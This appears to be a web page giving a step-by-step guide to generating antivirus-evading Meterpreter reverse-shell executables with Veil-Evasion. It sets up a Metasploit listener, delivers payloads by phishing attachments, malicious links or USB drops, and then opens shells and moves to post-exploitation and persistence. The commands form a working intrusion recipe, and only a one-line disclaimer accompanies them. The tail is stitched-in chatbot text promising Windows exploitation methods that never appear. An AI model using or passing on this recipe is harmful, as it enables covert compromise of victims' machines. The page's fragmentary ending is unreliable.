Veil-Evasion is a tool used for creating payloads that evade detection by antivirus programs. It's commonly used in penetration testing to generate obfuscated payloads that are more likely to bypass security software.
Here's a step-by-step guide on how to use Veil-Evasion:
Step 1: Install Veil-Evasion
First, you'll need to install Veil-Evasion. It’s commonly used on Kali Linux, but it can be installed on other Linux distributions as well. Follow these steps:
Update your system: Open a terminal and run:
sudo apt update && sudo apt upgrade -y
Install Veil-Evasion from the Kali repository: Veil is included in the default Kali Linux repositories. You can install it by running:
sudo apt install veil
Verify the installation: After installation, confirm Veil-Evasion is working:
veil-evasion
This will launch the Veil-Evasion interface.
Step 2: Start Veil-Evasion
Once installed, you can start Veil-Evasion by running:
veil-evasion
This should open the Veil-Evasion interactive menu. You will see a list of options you can choose from to generate payloads.
Step 3: Choose the Payload
Veil-Evasion supports various types of payloads, including Windows, Linux, MacOS, and Java payloads. To choose a payload, follow these steps:
From the main Veil-Evasion menu, type list to display available payloads:
list
Pick the desired payload from the list. For example, if you want to create a Windows reverse TCP payload, you can choose:
use windows/meterpreter/reverse_tcp
This will load the specified payload into the Veil-Evasion interface.
Step 4: Configure the Payload
Now that you've selected a payload, you can configure it by specifying various parameters such as IP addresses, port numbers, and other settings.
Set the LHOST (local host) and LPORT (local port):
LHOST: This is the local IP address of the machine that will receive the connection (your attacker's machine).
LPORT: This is the port number the payload will use for the reverse connection.
Set these values by typing the following commands:
set LHOST <your IP address>
set LPORT <desired port>
Example:
set LHOST 192.168.1.10
set LPORT 4444
Set additional options:
You may want to adjust other settings depending on the type of payload. For example, if you’re using a Windows executable, you can set the EXITFUNC option (which determines the exit function when the payload finishes) or use Encoder options.
Step 5: Generate the Payload
Once you've configured the payload, you can generate the obfuscated payload by running:
generate
Veil-Evasion will now generate an executable file that is obfuscated to evade antivirus detection.
Choose the output location where you want to save the generated payload.
The payload will be saved as a .exe (for Windows) or other respective file extensions.
Step 6: Set Up a Listener (Metasploit)
After generating the payload, you need to set up a listener to catch the reverse shell or meterpreter session when the victim executes the payload.
Start Metasploit in a separate terminal:
msfconsole
Set up a multi/handler listener:
use exploit/multi/handler
Set the payload to match the one generated:
set payload windows/meterpreter/reverse_tcp
Set the LHOST and LPORT to match the values you used in Veil-Evasion:
set LHOST 192.168.1.10
set LPORT 4444
Start the listener:
run
Step 7: Deliver the Payload
Now that you've set up the listener, you need to deliver the generated payload to the target machine. You can use various methods to deliver the payload, such as:
Social engineering (email attachments, malicious links, etc.).
Exploit kits or USB drops.
Network attacks like SMB or RDP.
Once the victim executes the payload, your Metasploit listener should catch the reverse shell, and you will have access to the target machine.
Step 8: Interact with the Session
Once the victim executes the payload, you should see a session in Metasploit:
sessions -i 1
Now you can interact with the session using Metasploit's commands, such as:
sysinfo # Get system information
shell # Open a command shell on the target
Step 9: Post-Exploitation
After gaining access to the target machine, you can use Metasploit's post-exploitation modules for further actions, such as gathering information, escalating privileges, or maintaining persistence.
Conclusion
Veil-Evasion is a powerful tool for generating obfuscated payloads that can bypass antivirus detection. By using Veil-Evasion and Metasploit together, you can effectively exploit vulnerabilities in target machines. Always remember to perform penetration testing in a legal and ethical manner.
If you run into issues, ensure your network settings are correct, and check that the Metasploit listener is running and correctly configured.
Below is a collection of Windows exploitation methods focusing on shell access. The methods are divided into two categories:
User Involvement: Exploiting Windows systems with user interaction.
No User Involvement: Exploiting Windows systems through services, backdoors, or vulnerabilities.
These methods cover various user-involved and non-user-involved shell exploitation techniques for Windows systems. Let me know if you want to go deeper into any of these or add more!
Here are additional methods to exploit Windows systems, focusing on gaining shell access both with and without user involvement:
Want to print your doc? This is not the way.
Try clicking the ⋯ next to your doc name or using a keyboard shortcut (